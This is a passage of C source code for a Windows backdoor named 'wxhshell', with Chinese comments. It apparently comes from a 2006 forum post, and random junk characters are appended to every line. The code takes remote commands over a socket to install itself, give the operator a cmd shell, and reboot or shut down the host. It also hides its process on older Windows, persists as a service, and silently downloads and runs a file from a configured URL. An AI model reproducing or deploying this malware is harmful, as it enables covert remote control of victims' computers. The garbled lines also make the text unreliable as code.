    switch(cmd[0]) { RZrQ^tI3"  
  Y24H` s1u/  
  // 帮助 OS7^S1r-  
  case '?': { E whCX'Vaj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lj#K^c Ee  
    break; /hksESiU  
  } _zF*S]9 X  
  // 安装 8 O% ?t  
  case 'i': { w4%yCp[,  
    if(Install()) y)]L>o~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7v{s?h->$  
    else JK_(!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uE%$<o*#  
    break; t~(|2nTO5  
    } D/x!`&.sN  
  // 卸载 O\&[|sGY{  
  case 'r': { "CcdwWM  
    if(Uninstall()) >Ndck2@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #cdrobJ  
    else ~;uc@GGo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m2h@*  
    break; *%;+3SV  
    } A1uo@W  
  // 显示 wxhshell 所在路径 `Eq~W@';Q0  
  case 'p': { MeMSF8zSQ  
    char svExeFile[MAX_PATH]; NPY\ >pf  
    strcpy(svExeFile,"\n\r"); w0(1o_F7.  
      strcat(svExeFile,ExeFile); ;eQOBGX9  
        send(wsh,svExeFile,strlen(svExeFile),0); (m%A>e B  
    break; k3 S  
    } i?0+f }5<p  
  // 重启 k/]4L!/ T  
  case 'b': { ] lONi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e|2@z-Sp-  
    if(Boot(REBOOT)) ).D+/D/"2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :y%CP8  
    else { io{\+%;b~  
    closesocket(wsh); <]e0TU?bk  
    ExitThread(0); 3d81]!n  
    } 6xq/  
    break; jSc!"Trl]  
    } vWpoaz/w  
  // 关机 e$=UA%  
  case 'd': { H)VzPe#{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BfUM+RC%5  
    if(Boot(SHUTDOWN)) uS}qy-8J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @})]4H  
    else { L$rMfe S  
    closesocket(wsh); ]R?{9H|jwE  
    ExitThread(0); glo Y@k~  
    } (]gd$BgD  
    break; :+*q,lX8  
    } TVs#,  
  // 获取shell }XcYIo#+t  
  case 's': { T_3JAH e  
    CmdShell(wsh); XMpa87\  
    closesocket(wsh); {a6cA=WTPd  
    ExitThread(0); '"Z\8;5i  
    break; t'{IE!_  
  } O}w"@gO@.  
  // 退出 BWG*UjP M  
  case 'x': { "J (0J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p;0p!~F=49  
    CloseIt(wsh); .0]\a~x  
    break; 6zR9(c:a~  
    } (RBzpAiH  
  // 离开 7uq/C#N  
  case 'q': { 8urX]#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [QZ g=."  
    closesocket(wsh); PqDffZ^z  
    WSACleanup(); i&_&4  
    exit(1);  TG^?J`  
    break; B/F6WQdZ  
        } P#o"T4 >  
  } 56`Tna,t  
  } 1~aP)q  
o4PJ9x5R!  
  // 提示信息 ~4^~w#R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n> tru L  
} 9S_PZH  
  } }"x#uG  
%<]4]h  
  return; ~H4wsa39  
} o!@}&DE|*L  
/9@[gv A  
// shell模块句柄 {i#z <ttu  
int CmdShell(SOCKET sock) Wb{0UkApJ  
{ hb ="J349  
STARTUPINFO si; =`pH2SJT  
ZeroMemory(&si,sizeof(si)); HzQ Y\Y6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iKM!>Fi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #AO?<L  
PROCESS_INFORMATION ProcessInfo; 0(|Yy/Yq  
char cmdline[]="cmd";  Qo$j'|lD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  @ ^cR  
  return 0; ?DrA@;IB  
} =8V 9E  
Cno+rmsfT  
// 自身启动模式 1W r,E#+C  
int StartFromService(void) Nbvs_>N   
{ P+:DLex  
typedef struct HE|XDcYO  
{ KBOp}MEz  
  DWORD ExitStatus; !*G%vOa  
  DWORD PebBaseAddress; N(Sc!rX  
  DWORD AffinityMask; u8Ak2:   
  DWORD BasePriority; \` U=pZJ  
  ULONG UniqueProcessId; XT%\Ce!  
  ULONG InheritedFromUniqueProcessId; r\T'_wo  
}   PROCESS_BASIC_INFORMATION; nr]:Y3KyxX  
sOqT*gwr:  
PROCNTQSIP NtQueryInformationProcess; G$mAyK:  
/P%OXn$i/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5_7y1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Aw$+Ew[8 2  
~J:]cy)Q  
  HANDLE             hProcess; cw"Ou%  
  PROCESS_BASIC_INFORMATION pbi; B? Z_~Bf&  
9T#${NK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %EH{p@nM&-  
  if(NULL == hInst ) return 0; ~YRG9TK  
W+Q^u7K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SxI-pH'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kt2W7.A 5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zI,z<-  
 <BiSx  
  if (!NtQueryInformationProcess) return 0; /Os6i&;  
A9_} RJ9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !9t,#?!  
  if(!hProcess) return 0; WCD)yTg:ES  
dt||nF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZA+w7S3  
^).  
  CloseHandle(hProcess); iY*fp=c9  
F}~qTF;H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vzFo"  
if(hProcess==NULL) return 0; 0,whTnH|  
Jo''yrJpB  
HMODULE hMod; Ji4JP0  
char procName[255]; 8I[=iU7]l  
unsigned long cbNeeded; Ef$a&*)PH  
43?uTnX/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M;LR$'cP  
@1N .;]|  
  CloseHandle(hProcess); =}g-N)^  
Vbv)C3ezD  
if(strstr(procName,"services")) return 1; // 以服务启动 !nU|3S[b  
4;*jE (  
  return 0; // 注册表启动 HtV8=.^  
} H1.ktG  
rS8}(lf  
// 主模块 .XT]\'vW  
int StartWxhshell(LPSTR lpCmdLine) -v! ;  
{ Ye S5%?Fk  
  SOCKET wsl; s}F.D^^G  
BOOL val=TRUE; 1ixBwnp?  
  int port=0; }qT{" *SC  
  struct sockaddr_in door; MY}/h@  
A{p_I<  
  if(wscfg.ws_autoins) Install(); I(H9-!&  
Cto>~pV  
port=atoi(lpCmdLine); c] -  
7M)<Sv  
if(port<=0) port=wscfg.ws_port; E#R1  
hg2Ywzfm-  
  WSADATA data; [}HS[($  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ik#ti=.  
H'+3<t>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n^|SN9 _r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iPdS>e e  
  door.sin_family = AF_INET; V :/v r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I?RUVs  
  door.sin_port = htons(port); I? ="Er[g}  
iG#9 2e4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,FwpHs $A  
closesocket(wsl); M`n0 q y  
return 1; }kG>6_p?  
} Rl&nR$#  
tOX -vQ  
  if(listen(wsl,2) == INVALID_SOCKET) { tA]u=-_h  
closesocket(wsl); T+q5~~\d  
return 1; %l?*w~x  
} $*`E;}S0  
  Wxhshell(wsl); h=Q2 ?O8  
  WSACleanup(); VTU(C&"S  
eA*We  
return 0; z\"9T?zoo  
k t'[  
}  //0Y#"  
n-g#nEc:  
// 以NT服务方式启动 g/(BV7V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *eGG6$I  
{ Zv2]X-  
DWORD   status = 0; G5%k.IRz  
  DWORD   specificError = 0xfffffff; 8"TlWHF`  
jn`5{ ]D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #"8'y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z%BX^b$Hj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E@EP9X >  
  serviceStatus.dwWin32ExitCode     = 0; &c}2[=  
  serviceStatus.dwServiceSpecificExitCode = 0; PjofW%7F  
  serviceStatus.dwCheckPoint       = 0; |qVM`,%L  
  serviceStatus.dwWaitHint       = 0; YC$>D? FW  
K4 -_a{)/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (|#%omLL  
  if (hServiceStatusHandle==0) return; MV w.Fl  
R13V }yL  
status = GetLastError(); T(,@]=d,DD  
  if (status!=NO_ERROR) V>`9ey!U  
{ 5 `@yX[G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3,EtyJ3[Bh  
    serviceStatus.dwCheckPoint       = 0; 4]FS jVO  
    serviceStatus.dwWaitHint       = 0; !Na@T]J  
    serviceStatus.dwWin32ExitCode     = status; 6v74mIRn'?  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2I|lY>Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v}id/brl  
    return; f'bwtjO  
  } ~!M"  
Nf)SR#;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =dwy 4  
  serviceStatus.dwCheckPoint       = 0; "&{.g1i9  
  serviceStatus.dwWaitHint       = 0; 6J_$dzw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZuZCIqN  
} gW^4@q  
p"7[heExw  
// 处理NT服务事件,比如:启动、停止 HYG1BfEaW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bc:3 5.  
{ &-w.rF@  
switch(fdwControl) ]q"y P 0  
{ wz{c;v\J^  
case SERVICE_CONTROL_STOP: *CbV/j"P?  
  serviceStatus.dwWin32ExitCode = 0; _h`4`r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :Gzp (@<@e  
  serviceStatus.dwCheckPoint   = 0; f]mVM(XZN  
  serviceStatus.dwWaitHint     = 0; ?o`:V|<v  
  { R](cko=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }#2(WHf =<  
  } 6y "]2UgQk  
  return; )TyP{X>  
case SERVICE_CONTROL_PAUSE: ;U$Rd,T4S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p>f ?Rw_  
  break; z_=V6MDM  
case SERVICE_CONTROL_CONTINUE: )| |CU]"b?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H: ;XU  
  break; g7lPQ_A*  
case SERVICE_CONTROL_INTERROGATE: x8x-b>|$&<  
  break; 1|AY&u%fiP  
}; fz?woVn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :`lP+y?a1  
} }: u-l3e  
?G<?: /CU  
// 标准应用程序主函数 B&BL<X r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rVRv*W  
{ d'H gek{T  
|DPq~l(d  
// 获取操作系统版本 ms\\R@R  
OsIsNt=GetOsVer(); =(Y0wZP|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jW4>WDN:  
5y] %Cu1.u  
  // 从命令行安装 ; xQhq*  
  if(strpbrk(lpCmdLine,"iI")) Install(); ep0dT3&  
<r(D\rmD  
  // 下载执行文件 -1~o~yGE  
if(wscfg.ws_downexe) { AX'-}5T=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L "'d(MD  
  WinExec(wscfg.ws_filenam,SW_HIDE); X<pNc6  
} 5sj$XA?5  
=;F7h @:  
if(!OsIsNt) { \zwm:@lG  
// 如果时win9x,隐藏进程并且设置为注册表启动 s,pg4nst56  
HideProc(); NxDVU?@p*  
StartWxhshell(lpCmdLine); 3lEP:Jp  
} fU\;\  
else a,)/D_{1  
  if(StartFromService()) ksJ 1:_  
  // 以服务方式启动 ImD&~^-_<  
  StartServiceCtrlDispatcher(DispatchTable); 'NCx<0*  
else VR%*8=  
  // 普通方式启动 F-M)6&T  
  StartWxhshell(lpCmdLine); 'H4?V  
B2KBJ4rI[1  
return 0; 1C]BaPbL  
}
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只看该作者 1 发表于: 2006-10-10
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